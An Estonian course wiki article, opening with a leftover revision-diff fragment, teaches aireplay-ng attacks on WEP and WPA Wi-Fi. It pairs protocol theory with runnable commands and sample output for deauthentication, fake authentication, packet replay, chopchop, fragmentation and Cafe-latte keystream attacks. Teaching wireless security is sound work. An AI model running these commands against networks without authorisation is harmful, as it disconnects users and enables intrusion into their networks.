      0x0020:  6d6d b1e0 92a8 039b ca6f cecb 5364 6e16  mm.......o..Sdn.
      0x0030:  a21d 2a70 49cf eef8 f9b9 279c 9020 30c4  ..*pI.....'.. 0.
      0x0040:  7013 f7f3 5953 1234 5727 146c eeaa a594  p...YS.4W'.l....
      0x0050:  fd55 66a2 030f 472d 2682 3957 8429 9ca5  .Uf...G-&.9W.)..
      0x0060:  517f 1544 bd82 ad77 fe9a cd99 a43c 52a1  Q.D...w.....<R.
      0x0070:  0505 933f af2f 740e                      ...?./t.
 
Use this packet ? y
Saving chosen packet in replay_src-0001-123456.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0001-123456.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
</pre>
Ja meil ongi olemas .xor fail millega saab ''custom'' pakette injectida. Muidugi on vajalik assotsiaseeritud klienti kelle nimelt pakette injectida.[12]
 
==Rünnak 6: Cafe-latte attack==
Iga WEP klient kes saab ARP päringu vastab sellele automaatselt korrektselt krüptitud ARP vastustega - selle etapini jõudmiseks ei pea AP tõestama et ta WEP võtit teab.
Selle rünnakuga saab kinnipüütud paketis pöörata ümber mõned bitid mille käigus pööratakse kliendi ARP päring ta enda poole tagasi. Saates võltsitud ARP päringut kliendile korduvalt saame kinni püüda suurel hulgal korrektseid krüptitud ARP vastuseid.[13]
 
See rünnak töötab kuna WEP ei ole nõrk mitte ainult statistilise analüüsi rünnakute vastu, vaid tal puudub ka krüptograafilise tugevusega paki terviklikkuse kontroll.
Lühidalt öeldes ei suuda osapooled eristada võltsitud/modifitseeritud paketti korrektsest pakist.[13]
 
Iga WEP pakett kasutab CRC checksumi ülekande vigade tuvastamiseks. Ammu aga teatakse et ründaja saab muuta nii paki sisu kui ka CRC'd et luua uus korrektne pakk. Cafe-latte kasutab neid nõrkusi ja muudab ära saatja MACi ja saatja IP aadressi mis sisalduvad kliendi ARP päringus ning suunavad need kliendi vastu.[13]
 
Kuna klient ei suuda võltsingut eristada, vastabki ka igale päringule.[13]
 
===Kasutamine===
Seda rünnakut saab kasutada reaalsest võrgust eraldatud kliendi puhul. Kliendid teevad tuntud võrkude otsimisel PROBE päringuid, millele saab ründaja siis fake APga vastata. Sellisel juhul peaks kasutama "-D" argumenti et lülitada välja AP otsimine.[14]
 
<pre>
$ sudo aireplay-ng -6 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA -D mon0
...
</pre>
 
==Rünnak 7: Client-oriented fragmentation attack==
Selle rünnakuga saab kasutada suvalist IP või ARP paketti. See laiendab Cafe-Latte rünnakut lubades kasutada suvalist paketti kliendilt.
Sellest paketist peame genereerima ARP päringu. ARPil peab asuma baidipositsioonil 33 sihtmärgi IP ning sihtmärgi MAC peab olema nullbaidi jada.
Praktikas võib sihtmärgi MAC olla aga suvaline väärtus.[15]
 
Saadud pakis on teada koht kus asub lähtepunkti IP aadress - bait 23 ARP puhul ja 21 IP puhul. Eeldatakse et pakk on ARP kui paki suurus on 68 või 86 baiti, vastaseljuhul eeldatakse et on IP pakett.[15]
 
===ARP===
Korrektse ARP päringu saatmiseks kliendile peame liigutama lähtekoha IP aadress positsioonile 33. Muidugi ei saa seda niisama lihtsalt teha - pakk ei valideeruks. Selle vastu kasutame aga paketi fragmenteerimist. ARP saadetakse kliendile kahe fragmendina. Esimese fragmendi pikkus valitakse niimoodi et paketi kokkupanemisel kliendi poolt satuks lähtekoha(kliendi) IP positsioonile 33(sihtmärk). Teine fragment on pakett mis kliendilt alguses saadi.[15]
 
===IP===
IP paketi puhul kasutatakse sarnast meetodit. Aga kuna PRGA materjali on vähem, siis saadetakse välja kolm fragmenti pluss algne pakk.[15]
 
Igaljuhul kasutatakse CRC korrektsuse säilitamiseks ''bit flippingut''. Sama meetodit kasutatakse ka ARP paketi lähtekoha MAC'i muutmiseks juhul kui seal on algselt ''multicast''.[15]
 
===Kasutamine===
<pre>$ sudo aireplay-ng -7  -h CC:CC:CC:CC:CC:CC -D mon0
...
</pre>


=Viited=
=Viited=
Line 190: Line 357:
[11] http://www.informit.com/guides/content.aspx?g=security&seqNum=197
[11] http://www.informit.com/guides/content.aspx?g=security&seqNum=197


\[\[Category:Traadita_side_alused]]
[12] http://www.aircrack-ng.org/doku.php?id=fragmentation
 
[13] http://www.wi-fiplanet.com/tutorials/article.php/10724_3716241_2
 
[14] http://www.aircrack-ng.org/doku.php?id=cafe-latte
 
[15] http://www.aircrack-ng.org/doku.php?id=hirte
 
[[Category:Traadita_side_alused]]

Latest revision as of 21:27, 24 May 2011

Autor

Tanel Liiv D22 (2011)

Sissejuhatus

Aireplay-ng`d kasutatakse frame`de sisestamiseks võrguliiklusesse.[1]

Peamine funktsioon on liikluse genereerimine hilisemaks kasutamiseks aircrack-ng`s - WEP ja WPA-PSK võtmete lahtimurdmiseks. Erinevad rünnakuviisid võimaldavad tekitada deautentimist WPA handshake pakettide püüdmiseks, võlts deautentimiseks, interaktiivseks pakettide taasmängimiseks ja käsitsi valmistatud ARP päringute sisestamiseks liiklusesse.[1]

Eelteadmised

WEP ja WPA/WPA2 võrkude ründamiseks on vajalikud mõned konkreetsed eelteadmised. Nende teadmine lihtsustab suurel määral võimalike probleemide lahendamist ja annab paremini aimu millega tegu on ja kuidas asjad backendis töötavad - ei teki näiteks viga kus üritatakse taasmängida paketti kui ühtegi klienti pole APga assotsiaseerunud.

Samuti eeldatakse et teatakse aireplay-ng põhikäske ja argumente - nullist õppimiseks ei ole see mõeldud.

WEP

WEPi ründamiseks on vaja eristada Open Authentication ja Shared Key Authentication süsteemi

Open Authentication

[1][5]

  • Klient saadab autentimis päringu AP'le.[5]
  • AP autentib kliendi.[5]
    • AP laseb selles etapis kõik kliendid läbi, st. mingit autentimist(sõna otseses mõttes) ei toimu[5]
  • Klient assotsiaseerub AP'ga ja liitub võrguga.[5]
    • Selles etapis hakkavad mõlemad osapooled andmeid saatma WEPi krüpteeringuga, st. edasiseks suhtlemiseks on vaja teada salajast võtit. Sellesse punkti jõudes on võimalik assotsiaseerunud kliendi MACiga saata AP'le pakette(nõrkus).[5]

Shared Key Authentication

[2] [6]

  • Klient saadab autentimise päringu AP'le.[6]
  • AP saadab kliendile random baidijada(ülesanne).[6]
  • Klient kasutab oma 64- või 128bitist salajast võtit ning krüptib saadud baidijada ära, ning saadab tagasi AP'le.[6]
  • AP dekrüptib saadud jada ning võrdleb seda esialgu väljasaadetud stringiga, kui need ei kattu, siis saadetakse kliendile negatiivne vastus. Kui kattub siis järelikult on kliendil ja AP'l sama WEP võti, ning AP autentib kliendi ära.[6]
  • Klient ühendub võrku.[6]

Sellisel juhul ei ole võimalik autentimisest edasi saada ilma võtmeta, ning seega ei saa ka AP'le pakke võrku sisestada. (Lahendus probleemile on #Shared Key Authentication artikli all)

Meetodid

Meetodite pealkrijade ees on "Rünnak x:". x tähistab numbrit mitmes implementeeritud rünnak see on ja seda numbrit aksepteerib aireplay-ng ka vastava käsurea lipu argumendina.

Rünnak 0: Deauthentication

See meetod saab disassotsiaseerumise paketi ühele või rohkemale kliendile kes on parasjagu vastava access pointiga assotsiaseerunud. Klientide lahtiühendamisel võib olla mitu eesmärki:[2]

  • Peidetud ESSID kättesaamine. See on ESSID mida access point ei kuuluta broadcastis.[2]
  • WPA/WPA2 handshake kinnipüüdmine sundides klienti uuesti autentima.(Ei ole kohustuslik, võib oodata ka kuni klient ise uuesti ühendub)[2]
  • ARP päringute genereerimine(Windowsi kliendid võivad mõnikord oma ARP cache tühjendada kui ühendus ära kaob)[2]

NB! Arusaadavalt on see rünnak täiesti kasutu kui traadita ühenduspunkti küljes ei ole ühtegi reaalset assotsiaseerunud klienti või võlts autentitud klienti.[2]

Meetodid

Suunatud

$ sudo aireplay-ng -0 100 -a AA:AA:AA:AA:AA:AA -c CC:CC:CC:CC:CC:CC mon0
21:36:02  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 11
21:36:03  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 38|38 ACKs]
21:36:03  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:04  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:04  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 38|50 ACKs]
21:36:05  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:06  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 54|54 ACKs]
21:36:06  Sending 64 directed DeAuth. STMAC: [CC:CC:CC:CC:CC:CC] [ 2|54 ACKs]
...
  • BSSID peab olema sihtmärk AP korrektne MAC aadress[2]
  • kanal peab olema sama millel AP reaalselt räägib[2]
  • STMAC on rünnatava kliendi korrektne MAC aadress[2]
  • Sending 64 directed - saadeti välja 64 suunatud deautentimise paketti, st. 64 kliendile ja 64 AP'le.[2]
  • 61 - mitu paketti klient kätte sai[2]
  • 63 - mitu paketti AP kätte sai[2]

Kui 61 ja 63 on arvud mis on suhteliselt stabiilsed ja lähedal 64'le, siis tähendab see seda et mõlemad osapooled on sinu võrgukaardi antennist kuuldekaugusel ja nendega on võimalik infot vahetada. Kui üks neist numbritest on väike, siis tähendab seda et asud vastavast osapoolest liiga kaugel - sellisel juhul see rünnak ei tööta, sul on vaja kas saatja saatevõimet suurendada, või minna osapoolele füüsiliselt lähemale.[2]

Suunatud versus broadcast olukorras on alati soovitav kasutada suunatud varianti, kuna paljud kliendid ignoreerivad broadcastis saadetud lahtiühendamise paketti.[2]

Kui sulle kliendi ACK'ide arv tundub korrektne, aga sulle ikkagi ei tundu et ta ennast lahti ühendaks, siis võib probleem peituda selles et ta ühendub uuesti liiga kiiresti.[2]

Broadcast

$ sudo aireplay-ng -0 100 -a AA:AA:AA:AA:AA:AA  mon0
21:33:25  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
21:33:25  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:26  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:26  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:27  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:27  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
21:33:28  Sending DeAuth to broadcast -- BSSID: [AA:AA:AA:AA:AA:AA]
...

Nagu mainitud, broadcast lahtiühendamine on vähem efektiivsem.

Rünnak 1: Fake authentication

Võlts autentimine lubab läbi viia nii Open System kui ka Shared Key WEP autentimist, peale selle teeb ta ka assotsiatsiooni access pointiga. See on kasulik ainult siis kui sul on vaja AP'le pakettide saatmiseks assotsiaseeritud klienti, selle puudumisel ei võta AP ühtegi talle saadetud pakki vastu. Kui meil on aga reaalne klient, siis saame tema nimel pakke saata, kui pole, on vaja võlts autentimist. Võlts autentimine ei tekita ARP pakette(seega ei piisa selle üksi kasutamisest) ja ei suuda assotsiaseeruda WPA/WPA2 access pointidega.[3]

Fake authenticationit ei tohi kasutada aktiivse kliendi MACiga. See on eriti sobilik meetod selliseks juhuks kui olemasolevalt kliendilt on kinni püütud näiteks ARP pakett, ning klient ühendub lahti enne kui suudad piisavalt arp pakette tagasi mängida. Sellisel juhul aitab sama kliendi MACiga fake autentimine ning siis seda kinnipüütud pakki uuesti/edasi mängida.

Meetodid

Open Authentication

Open authentication puhul ei üritata klienti enne assotsiaseerumist autentida, seega saame kerge vaevaga ennast ära assotsiaseeruda ning hakata AP'ga suhtlema. Selles etapis hakkavad tavakliendid WEP'i(ja seega ka salajast võtit) kasutades rääkima, meie aga saame sisestada juba korrektse võtmega krüptitud(reaalselt kliendilt varem püütud) pakke AP'le saatma, uuesti ja uuesti.[4]

$ sudo aireplay-ng -1 0 -a AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
21:40:20  Sending Authentication Request
21:40:20  Authentication successful
21:40:20  Sending Association Request
21:40:20  Association successful :-)
...

Sellisel juhul on assotsiaseerumine õnnestunud võib jätkata teiste rünnakutega - AP võtab vastu vastavalt MACilt tulevaid pakke, ja saadab õigetes tingimustes ka vastuseid.[4]

Shared Key Authentication

SKA tähendab seda, et AP ei räägi potensiaalse kliendiga mitte midagi, va. WEP võtmega autentimise protokoll, seega ei ole võimalik meil AP'ga assotsiaseeruda(me ei tea ju salajast võtit millega autentimisel AP saadetud puzzle ära "lahendada") ning sellest tulenevalt ei saa me ka AP'le mingeid pakke saata.

...
15:46:53  Sending Authentication Request
15:46:53  AP rejects open-system authentication
Please specify a PRGA-file (-y).

Sellisel juhul on vaja kinni püüda SKA handshake paketid. See toimub automaatselt kui airodump-ng näeb mõnda WEP-SKA handshake'i. Deauthentimise rünnakuga saab seda olemasolevale kliendile sundida.[7]

Kinnipüütud handshake`id salvestatakse "sharedkey-01-00-14-6C-7E-40-80.xor" formaadis faili. See fail tuleb vastavasse AP'sse fake autentimisel/kliendi disconnectimisks anda kaasa "-y" käsurea argumendiga.[7]

NOTE: Kui airodump-ng jookseb ilma aktiivseid rünnakuid AP pihta tegemata, siis on AUTH väli WEP AP taga tühi. Kui airodump-ng näeb mända handshake'i siis tuleb AUTH välja sisse SKA, samal hetkel salvestatakse ka fail.[7]

Rünnak 2: Interactive packet replay

See rünnak lubab valida konkreetse paketti mida taasmängida. Selle meetodiga saab pakette lugeda kahest kohast, võrgust ja failist. Keskendume võrgust püüdmisele. Et interaktiivne uuestimängimine töötaks on tähtis veidi alusteadmisi paketivoo kohta. Iga pakett ei tööta selle rünnakuga. Õnnestumine tähendab seda et AP võtab paki vastu ja genereerib uue IV - WEP ründamiseks on vaja ju koguda palju IV'sid. Väga kasulik on panna peale ka "-m 68 -n 86" filtrid. Need filtreerivad vastavalt minimaalse paki suuruse(68- traadita klientilt) ja maksimaalse(86- traadiga kliendilt). Need on WEP ühenduses ARP pakettide suurused ning õigesti kasutades peaksid tagama vastuse AP poolt.[8]


Naturaalsed paketid

Et seda teha, tuleb meil kas taasmängida originaalpaketti, või paketti veidi manipuleerida. AP'd edastavad(tekitavad uue IV) alati pakkidele mis on suunatud broadcast MACi(FF:FF:FF:FF:FF:FF) vastu. Selline omadus on näiteks ARP pakettidel. Peale selle on vajalik et pakett liiguks traadita kliendist traadiga võrku. Sellisel pakettil on "To DS" lipuke seatud "1" peale. Need filtrid on seadistatavad -b,-d ja -t argumentidega.[8]

$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA -d FF:FF:FF:FF:FF:FF -t 1 mon0
 Read 4 packets...
 
      Size: 68, FromDS: 0, ToDS: 1 (WEP)
 
           BSSID  =  AA:AA:AA:AA:AA:AA
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  CC:CC:CC:CC:CC:CC
 
      0x0000:  0841 de00 0014 6c7e 4080 000f b534 3030  .A....l~@....400
      0x0010:  ffff ffff ffff 4045 d16a c800 6f4f ddef  ......@E.j..oO..
      0x0020:  b488 ad7c 9f2a 64f6 ab04 d363 0efe 4162  ...|.*d....c..Ab
      0x0030:  8ad9 2f74 16bb abcf 232e 97ee 5e45 754d  ../t....#...^EuM
      0x0040:  23e0 883e                                #..>

 Use this packet ? y

Manipuleeritavad pakid

Eesmärk, nagu alati, on panna AP genereerima uusi IV'sid. Ainuke vajalik argument on "-t 1" - see selekteerib ainult pakette mis liiguvad etherneti suunas.

Me ei hooli ka mis lõppunkti MAC aadress on, kuna me saame selle ära muuta. Selleks on "-p 0841" argument, mis muudab paki põhimõtte selliseks nagu ta saadetaks kliendist AP'sse - põmst. muudab "To DS" lipu "1". Vaja on anda ka "-c" väärtuseks broadcast MAC.[8]

$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA -t 1 -c FF:FF:FF:FF:FF:FF -p 0841 mon0
 Read 10 packets...
 
      Size: 124, FromDS: 0, ToDS: 1 (WEP)
 
           BSSID  =  AA:AA:AA:AA:AA:AA
       Dest. MAC  =  BB:BB:BB:BB:BB:BB
      Source MAC  =  CC:CC:CC:CC:CC:CC
 
      0x0000:  0841 2c00 0014 6c7e 4080 000f b534 3030  .A,...l~@....400
      0x0010:  0040 f477 e5c9 90c9 3d79 8b00 ce59 2bd7  .@.w....=y...Y+.
      0x0020:  96e7 fadf e0de 2e99 c019 4f85 9508 3bcc  ..........O...;.
      0x0030:  8d18 dbd5 92a7 a711 87d8 58d3 02b3 7be7  ..........X...{.
      0x0040:  8bf1 69c0 c596 3bd1 436a 9598 762c 9d1d  ..i...;.Cj..v,..
      0x0050:  7a57 3f3d e13c dad0 f2d8 0e65 6d66 d913  zW?=.<.....emf..
      0x0060:  9716 84a0 6f9a 0c68 2b20 7f55 ba9a f825  ....o..h+ ?U...%
      0x0070:  bf22 960a 5c7b 3036 290a 89d6            ."..\{06)...
 
 Use this packet ? y

Klientideta võrgu ründamine

Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:

$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA-d FF:FF:FF:FF:FF:FF -t 1 mon0
...

Nüüd jääb üle vaid oodata kuni mõni pakett broadcasti saadetakse. Pole tähtis milline pakket, sisesta lihtsalt "y" esimesele tulevale pakile ja AP hakkab IV'sid genereerima. Negatiivne külg asjal on tõsiasi et paljud pakid on suhteliselt suured - suured pakid genereerivad IV'sid aeglasemalt. Suur pluss on see et ei ole vaja kinni püüda xor paketistriimi(chopchop või fragmenteeritud rünnakud), ehitada pakki ja käivitada relay rünnakut.[8]

Rünnak 3: ARP request replay attack

Klassikaline ARP päringu taasmängimise rünnak on efektiivseim viis IV'de genereerimiseks, ja ta töötab ka piisavalt stabiilselt. Programm kuulab ARP paketti(tunneb ära kindlate mittekrüptimata väljade järgi ja paki pikkuse järgi) ning hakkab seda AP'le taasmängima. See omakorda põhjustab igale päringu vastusele uue IV genereerimise. Seda rünnakut võib lugeda interaktiivse taasmängimise erijuhuks.[9]

$ sudo aireplay-ng -3 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
 Saving ARP requests in replay_arp-0001-123456.cap
 You should also start airodump-ng to capture replies.
 Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

Rünnak 4: KoreK chopchop attack

See rünnak suudab hea õnne korral dekrüptida WEP paketi ilma salajast võtit teadmata. Meetod võib töötada isegi dünaamilise WEP vastu. See rünnak ei tagasta sulle WEP salajast võtit, vaid paketi sisu ja selle paketi krüptimiseks kasutatud keystreami. Mõned AP'd ei ole sellele rünnakule avatud. Kui AP dropib pakke mille pikkus on alla 42 baidi, siis aireplay üritab ülejäänud baidid ära arvata - edukuse tõenäosus oleneb headerite ennustusvõimest. Kui püütakse kinni IP pakett, siis tehakse lisaks veel checksum kontroll peale arvatava lisabaitide juurdelisamist. Rünnakuks on vaja vähemalt ühte WEP paketti.[10]

Teooria

KoreK kasutab hästituntud nõrga ICV[link] probleemi ja järeldab sellest, et kui pakki lühendada ühe baidi võrra, siis saab sellest ehitada uue korrektse paki, kuna uus ICV on otseselt seotud puuduva krüptimata baidiga. [11]

Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi plaintekst väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]

$ sudo aireplay-ng -4 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA mon0
       Read 165 packets...

         Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
         BSSID  =  AA:AA:AA:AA:AA:AA
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  CC:CC:CC:CC:CC:CC
 
         0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
         0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
         0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
         0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
         0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
         0x0050:  cfeb 4a72 be46                           ..Jr.F

 Use this packet ? y

 Saving chosen packet in replay_src-0001-123456.cap
 
 Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
 Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
 Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
 Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
 Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
 ...
 Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
 Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
 Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
 Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 35 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0001-123457.cap
 Saving keystream in replay_dec-0001-123456.xor
 
 Completed in 21s (2.29 bytes/s)

Jee! Saad kasutada xor faili oma paki injectimiseks või lugemiseks paki sisu .cap failist. Vaata ainult et paki injectimisel kasutad autentitud source maci, väga väheste ruuterite korral töötab paki sisestamine broadcasti ilma autentimata. Soovitatav on võtta ka lühem pakett kuna dekrüptimise aeg on lineaarselt seotud paketi pikkusega.[10]

Rünnak 5: Fragmentation attack

Õnnestumise korral suudab see rünnak tagastada sulle kuni 1500 baiti PRGA'd. See rünnak ei tagasta WEP võtit. Saadud PRGA'ga saab krüptida oma loodud pakette ja neid võrku injectida. Ründamiseks on vaja saada AP'lt vähemalt üks pakett.[12]

Põhimõtteliselt saab programm paketist väikese hulga võtmematerjali ning üritab saata ARP või LLC pakette(kuna selliste pakettide sisu on teada) AP'le. Kui pakett kajatakse tagasi AP poolt siis saab tagastatud paketi põhjal tuletada suurema hulga PRGA baite. Tsüklit saab korrata kuni saadakse kätte kuni 1500 baiti.[12]

See rünnak nõuab head ühendust AP'ga, kuna ründaja fragmenteerib pakette ja AP peab need kõik kätte saama.[12]

$ sudo aireplay-ng -5 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
Waiting for a data packet...
Read 96 packets...

      Size: 120, FromDS: 1, ToDS: 0 (WEP)

           BSSID  =  AA:AA:AA:AA:AA:AA
       Dest. MAC  =  CC:CC:CC:CC:CC:CC
      Source MAC  =  BB:BB:BB:BB:BB:BB

      0x0000:  0842 0201 000f b5ab cb9d 0014 6c7e 4080  .B..........l~@.
      0x0010:  00d0 cf03 348c e0d2 4001 0000 2b62 7a01  ....4...@...+bz.
      0x0020:  6d6d b1e0 92a8 039b ca6f cecb 5364 6e16  mm.......o..Sdn.
      0x0030:  a21d 2a70 49cf eef8 f9b9 279c 9020 30c4  ..*pI.....'.. 0.
      0x0040:  7013 f7f3 5953 1234 5727 146c eeaa a594  p...YS.4W'.l....
      0x0050:  fd55 66a2 030f 472d 2682 3957 8429 9ca5  .Uf...G-&.9W.)..
      0x0060:  517f 1544 bd82 ad77 fe9a cd99 a43c 52a1  Q?.D...w.....<R.
      0x0070:  0505 933f af2f 740e                      ...?./t.

 Use this packet ? y
Saving chosen packet in replay_src-0001-123456.cap
 Data packet found!
 Sending fragmented packet
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 384 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 1500 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Saving keystream in fragment-0001-123456.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Ja meil ongi olemas .xor fail millega saab custom pakette injectida. Muidugi on vajalik assotsiaseeritud klienti kelle nimelt pakette injectida.[12]

Rünnak 6: Cafe-latte attack

Iga WEP klient kes saab ARP päringu vastab sellele automaatselt korrektselt krüptitud ARP vastustega - selle etapini jõudmiseks ei pea AP tõestama et ta WEP võtit teab. Selle rünnakuga saab kinnipüütud paketis pöörata ümber mõned bitid mille käigus pööratakse kliendi ARP päring ta enda poole tagasi. Saates võltsitud ARP päringut kliendile korduvalt saame kinni püüda suurel hulgal korrektseid krüptitud ARP vastuseid.[13]

See rünnak töötab kuna WEP ei ole nõrk mitte ainult statistilise analüüsi rünnakute vastu, vaid tal puudub ka krüptograafilise tugevusega paki terviklikkuse kontroll. Lühidalt öeldes ei suuda osapooled eristada võltsitud/modifitseeritud paketti korrektsest pakist.[13]

Iga WEP pakett kasutab CRC checksumi ülekande vigade tuvastamiseks. Ammu aga teatakse et ründaja saab muuta nii paki sisu kui ka CRC'd et luua uus korrektne pakk. Cafe-latte kasutab neid nõrkusi ja muudab ära saatja MACi ja saatja IP aadressi mis sisalduvad kliendi ARP päringus ning suunavad need kliendi vastu.[13]

Kuna klient ei suuda võltsingut eristada, vastabki ka igale päringule.[13]

Kasutamine

Seda rünnakut saab kasutada reaalsest võrgust eraldatud kliendi puhul. Kliendid teevad tuntud võrkude otsimisel PROBE päringuid, millele saab ründaja siis fake APga vastata. Sellisel juhul peaks kasutama "-D" argumenti et lülitada välja AP otsimine.[14]

$ sudo aireplay-ng -6 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA -D mon0
...

Rünnak 7: Client-oriented fragmentation attack

Selle rünnakuga saab kasutada suvalist IP või ARP paketti. See laiendab Cafe-Latte rünnakut lubades kasutada suvalist paketti kliendilt. Sellest paketist peame genereerima ARP päringu. ARPil peab asuma baidipositsioonil 33 sihtmärgi IP ning sihtmärgi MAC peab olema nullbaidi jada. Praktikas võib sihtmärgi MAC olla aga suvaline väärtus.[15]

Saadud pakis on teada koht kus asub lähtepunkti IP aadress - bait 23 ARP puhul ja 21 IP puhul. Eeldatakse et pakk on ARP kui paki suurus on 68 või 86 baiti, vastaseljuhul eeldatakse et on IP pakett.[15]

ARP

Korrektse ARP päringu saatmiseks kliendile peame liigutama lähtekoha IP aadress positsioonile 33. Muidugi ei saa seda niisama lihtsalt teha - pakk ei valideeruks. Selle vastu kasutame aga paketi fragmenteerimist. ARP saadetakse kliendile kahe fragmendina. Esimese fragmendi pikkus valitakse niimoodi et paketi kokkupanemisel kliendi poolt satuks lähtekoha(kliendi) IP positsioonile 33(sihtmärk). Teine fragment on pakett mis kliendilt alguses saadi.[15]

IP

IP paketi puhul kasutatakse sarnast meetodit. Aga kuna PRGA materjali on vähem, siis saadetakse välja kolm fragmenti pluss algne pakk.[15]

Igaljuhul kasutatakse CRC korrektsuse säilitamiseks bit flippingut. Sama meetodit kasutatakse ka ARP paketi lähtekoha MAC'i muutmiseks juhul kui seal on algselt multicast.[15]

Kasutamine

$ sudo aireplay-ng -7  -h CC:CC:CC:CC:CC:CC -D mon0
...

Viited

[1] http://www.aircrack-ng.org/doku.php?id=aireplay-ng

[2] http://www.aircrack-ng.org/doku.php?id=deauthentication

[3] http://www.aircrack-ng.org/doku.php?id=fake_authentication

[4] https://secure.wikimedia.org/wikipedia/en/wiki/Wired_Equivalent_Privacy

[5] http://documentation.netgear.com/reference/sve/wireless/WirelessNetworkingBasics-3-08.html

[6] http://documentation.netgear.com/reference/sve/wireless/WirelessNetworkingBasics-3-09.html

[7] http://www.aircrack-ng.org/doku.php?id=shared_key

[8] http://www.aircrack-ng.org/doku.php?id=interactive_packet_replay

[9] http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection

[10] http://www.aircrack-ng.org/doku.php?id=korek_chopchop

[11] http://www.informit.com/guides/content.aspx?g=security&seqNum=197

[12] http://www.aircrack-ng.org/doku.php?id=fragmentation

[13] http://www.wi-fiplanet.com/tutorials/article.php/10724_3716241_2

[14] http://www.aircrack-ng.org/doku.php?id=cafe-latte

[15] http://www.aircrack-ng.org/doku.php?id=hirte